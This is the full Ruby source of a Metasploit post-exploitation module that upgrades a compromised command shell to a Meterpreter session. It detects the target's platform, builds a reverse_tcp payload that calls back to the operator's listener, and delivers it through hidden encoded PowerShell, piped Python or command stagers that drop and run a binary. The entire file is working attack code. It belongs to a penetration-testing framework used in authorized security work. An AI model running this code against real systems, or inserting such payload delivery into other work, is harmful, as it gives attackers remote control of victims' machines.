##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/exploitation/cmdstager'

class MetasploitModule < Msf::Post
  include Exploit::Powershell
  include Post::Architecture
  include Post::Windows::Powershell

  VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']
  VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shell to Meterpreter Upgrade',
        'Description' => %q{
          This module attempts to upgrade a command shell to meterpreter. The shell
          platform is automatically detected and the best version of meterpreter for
          the target is selected. Currently meterpreter/reverse_tcp is used on Windows
          and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
        'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptAddressLocal.new('LHOST',
                            [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
        OptInt.new('LPORT',
                   [true, 'Port for payload to connect to.', 4433]),
        OptBool.new('HANDLER',
                    [ true, 'Start an exploit/multi/handler to receive the connection', true])
      ]
    )
    register_advanced_options([
      OptInt.new('HANDLE_TIMEOUT',
                 [true, 'How long to wait (in seconds) for the session to come back.', 30]),
      OptEnum.new('WIN_TRANSFER',
                  [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
      OptEnum.new('PLATFORM_OVERRIDE',
                  [false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),
      OptEnum.new('PSH_ARCH_OVERRIDE',
                  [false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),
      OptString.new('PAYLOAD_OVERRIDE',
                    [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
      OptString.new('BOURNE_PATH',
                    [false, 'Remote path to drop binary']),
      OptString.new('BOURNE_FILE',
                    [false, 'Remote filename to use for dropped binary']),
      OptInt.new('COMMAND_TIMEOUT',
                 [true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
    ])
    deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
  end

  def command_timeout
    datastore['COMMAND_TIMEOUT']
  end

  # Run method for when run command is issued
  def run
    print_status("Upgrading session ID: #{datastore['SESSION']}")

    # Try hard to find a valid LHOST value in order to
    # make running 'sessions -u' as robust as possible.
    if datastore['LHOST']
      lhost = datastore['LHOST']
    elsif framework.datastore['LHOST']
      lhost = framework.datastore['LHOST']
    else
      lhost = session.tunnel_local.split(':')[0]
      if lhost == 'Local Pipe'
        print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
        return
      end
    end

    # If nothing else works...
    lhost = Rex::Socket.source_address if lhost.blank?

    lport = datastore['LPORT']

    # Handle platform specific variables and settings
    if datastore['PAYLOAD_OVERRIDE']
      unless datastore['PLATFORM_OVERRIDE']
        print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')
        return nil
      end
      unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE
        print_error('Please provide a valid PLATFORM_OVERRIDE')
        return nil
      end
      payload_name = datastore['PAYLOAD_OVERRIDE']
      payload = framework.payloads.create(payload_name)
      platform = datastore['PLATFORM_OVERRIDE']
      unless payload
        print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')
        return nil
      end
      if platform.downcase == 'windows' || platform.downcase == 'win'
        unless datastore['PSH_ARCH_OVERRIDE']
          print_error('Please provide a PSH_ARCH_OVERRIDE')
          return nil
        end
        unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE
          print_error('Please provide a valid PSH_ARCH_OVERRIDE')
          return nil
        end
        psh_arch = datastore['PSH_ARCH_OVERRIDE']
      end
      lplat = payload.platform.platforms
      larch = payload.arch
    else
      case session.platform
      when 'windows', 'win'
        platform = 'windows'
        lplat = [Msf::Platform::Windows]
        arch = get_os_architecture
        case arch
        when ARCH_X64
          payload_name = 'windows/x64/meterpreter/reverse_tcp'
          psh_arch = 'x64'
        when ARCH_X86
          payload_name = 'windows/meterpreter/reverse_tcp'
          psh_arch = 'x86'
        else
          print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
          return nil
        end
        larch = [arch]
        vprint_status('Platform: Windows')
      when 'osx'
        platform = 'osx'
        payload_name = 'osx/x64/meterpreter/reverse_tcp'
        lplat = [Msf::Platform::OSX]
        larch = [ARCH_X64]
        vprint_status('Platform: OS X')
      when 'solaris'
        platform = 'python'
        payload_name = 'python/meterpreter/reverse_tcp'
        vprint_status('Platform: Solaris')
      else
        # Find the best fit, be specific with uname to avoid matching hostname or something else
        target_info = cmd_exec('uname -ms')
        if target_info =~ /linux/i && target_info =~ /86/
          # Handle linux shells that were identified as 'unix'
          platform = 'linux'
          payload_name = 'linux/x86/meterpreter/reverse_tcp'
          lplat = [Msf::Platform::Linux]
          larch = [ARCH_X86]
          vprint_status('Platform: Linux')
        elsif target_info =~ /darwin/i
          platform = 'osx'
          payload_name = 'osx/x64/meterpreter/reverse_tcp'
          lplat = [Msf::Platform::OSX]
          larch = [ARCH_X64]
          vprint_status('Platform: OS X')
        elsif remote_python_binary
          # Generic fallback for OSX, Solaris, Linux/ARM
          platform = 'python'
          payload_name = 'python/meterpreter/reverse_tcp'
          vprint_status('Platform: Python [fallback]')
        end
      end
    end

    if platform.blank?
      print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
      return nil
    end

    vprint_status("Upgrade payload: #{payload_name}")

    payload_data = generate_payload(lhost, lport, payload_name)
    if payload_data.blank?
      print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
      return nil
    end

    if datastore['HANDLER']
      listener_job_id = create_multihandler(lhost, lport, payload_name)
      if listener_job_id.blank?
        print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
        return nil
      end
    end

    case platform.downcase
    when 'windows'
      if session.type == 'powershell'
        template_path = Rex::Powershell::Templates::TEMPLATE_DIR
        psh_payload = case datastore['Powershell::method']
                      when 'net'
                        Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
                      when 'reflection'
                        Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
                      when 'old'
                        Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
                      when 'msil'
                        raise 'MSIL Powershell method no longer exists'
                      else
                        raise 'No Powershell method specified'
                      end

        # prepend_sleep => 1
        psh_payload = 'Start-Sleep -s 1;' << psh_payload

        encoded_psh_payload = encode_script(psh_payload)
        cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
      elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')
        vprint_status('Transfer method: Powershell')
        psh_opts = { persist: false, prepend_sleep: 1 }
        if session.type == 'shell'
          cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
        else
          psh_opts[:remove_comspec] = true
          cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
        end
      else
        print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
        vprint_status('Transfer method: VBS [fallback]')
        exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
        aborted = transmit_payload(exe, platform)
      end
    when 'python'
      vprint_status('Transfer method: Python')
      cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
    when 'osx'
      vprint_status('Transfer method: Python [OSX]')
      payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
      cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
    else
      vprint_status('Transfer method: Bourne shell [fallback]')
      exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
      aborted = transmit_payload(exe, platform)
    end

    if datastore['HANDLER']
      vprint_status('Cleaning up handler')
      cleanup_handler(listener_job_id, aborted)
    end

    nil
  end

  #
  # Get the Python binary from the remote machine, if any, by running
  # a series of channelized `cmd_exec` calls.
  # @return String/nil A string if a Python binary can be found, else nil.
  #
  def remote_python_binary
    return @remote_python_binary if defined?(@remote_python_binary)

    python_exists_regex = /Python (2|3)\.(\d)/

    if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
      @remote_python_binary = 'python3'
    elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
      @remote_python_binary = 'python'
    elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
      @remote_python_binary = 'python2'
    else
      @remote_python_binary = nil
    end

    @remote_python_binary
  end

  def transmit_payload(exe, platform)
    #
    # Generate the stager command array
    #
    linemax = 1700
    if session.exploit_datastore['LineMax']
      linemax = session.exploit_datastore['LineMax'].to_i
    end
    opts = {
      linemax: linemax
      # :nodelete => true # keep temp files (for debugging)
    }
    case platform
    when 'windows'
      opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')
      cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
    when 'osx'
      opts[:background] = true
      cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
    else
      opts[:background] = true
      opts[:temp] = datastore['BOURNE_PATH']
      opts[:file] = datastore['BOURNE_FILE']
      cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
    end

    cmds = cmdstager.generate(opts)
    if cmds.nil? || cmds.empty?
      print_error('The command stager could not be generated.')
      raise ArgumentError
    end

    #
    # Calculate the total size
    #
    total_bytes = 0
    cmds.each { |cmd| total_bytes += cmd.length }

    vprint_status('Starting transfer...')
    begin
      #
      # Run the commands one at a time
      #
      sent = 0
      aborted = false
      cmds.each.with_index do |cmd, i|
        # The last command should be fire-and-forget, otherwise issues occur where the original session waits
        # for an unlimited amount of time for the newly spawned session to exit.
        wait_for_cmd_result = i + 1 < cmds.length
        # Note that non-channelized cmd_exec calls currently return an empty string
        ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
        if wait_for_cmd_result
          if !ret
            aborted = true
          else
            ret.strip!
            aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
          end
          if aborted
            print_error('Error: Unable to execute the following command: ' + cmd.inspect)
            print_error('Output: ' + ret.inspect) if ret && !ret.empty?
            break
          end
        end

        sent += cmd.length
        progress(total_bytes, sent)
      end
    rescue ::Interrupt
      # TODO: cleanup partial uploads!
      aborted = true
    rescue StandardError => e
      print_error("Error: #{e}")
      aborted = true
    end

    return aborted
  end

  def cleanup_handler(listener_job_id, aborted)
    # Return if the job has already finished
    return nil if framework.jobs[listener_job_id].nil?

    framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do
      if !aborted
        timer = 0
        timeout = datastore['HANDLE_TIMEOUT']
        vprint_status("Waiting up to #{timeout} seconds for the session to come back")
        while !framework.jobs[listener_job_id].nil? && timer < timeout
          sleep(1)
          timer += 1
        end
      end
      print_status('Stopping exploit/multi/handler')
      framework.jobs.stop_job(listener_job_id)
    end
  end

  #
  # Show the progress of the upload
  #
  def progress(total, sent)
    done = (sent.to_f / total.to_f) * 100
    print_status(format('Command stager progress: %<done>3.2f%% (%<sent>d/%<total>d bytes)', done: done.to_f, sent: sent, total: total))
  end

  # Method for checking if a listener for a given IP and port is present
  # will return true if a conflict exists and false if none is found
  def check_for_listener(lhost, lport)
    client.framework.jobs.each_value do |j|
      next unless j.name =~ %r{ multi/handler}

      current_id = j.jid
      current_lhost = j.ctx[0].datastore['LHOST']
      current_lport = j.ctx[0].datastore['LPORT']
      if lhost == current_lhost && lport == current_lport.to_i
        print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
        return true
      end
    end
    return false
  end

  # Starts a exploit/multi/handler session
  def create_multihandler(lhost, lport, payload_name)
    pay = client.framework.payloads.create(payload_name)
    pay.datastore['RHOST'] = rhost
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport

    print_status('Starting exploit/multi/handler')

    if check_for_listener(lhost, lport)
      print_error('A job is listening on the same local port')
      return
    end

    # Set options for module
    mh = client.framework.exploits.create('multi/handler')
    mh.share_datastore(pay.datastore)
    mh.datastore['WORKSPACE'] = client.workspace
    mh.datastore['PAYLOAD'] = payload_name
    mh.datastore['EXITFUNC'] = 'thread'
    mh.datastore['ExitOnSession'] = true
    # Validate module options
    mh.options.validate(mh.datastore)
    # Execute showing output
    mh.exploit_simple(
      'Payload' => mh.datastore['PAYLOAD'],
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => true
    )

    # Check to make sure that the handler is actually valid
    # If another process has the port open, then the handler will fail
    # but it takes a few seconds to do so.  The module needs to give
    # the handler time to fail or the resulting connections from the
    # target could end up on on a different handler with the wrong payload
    # or dropped entirely.
    select(nil, nil, nil, 5)
    return nil if framework.jobs[mh.job_id.to_s].nil?

    mh.job_id.to_s
  end

  def generate_payload(lhost, lport, payload_name)
    payload = framework.payloads.create(payload_name)

    unless payload.respond_to?('generate_simple')
      print_error("Could not generate payload #{payload_name}. Invalid payload?")
      return
    end

    options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"
    payload.generate_simple('OptionStr' => options)
  end
end
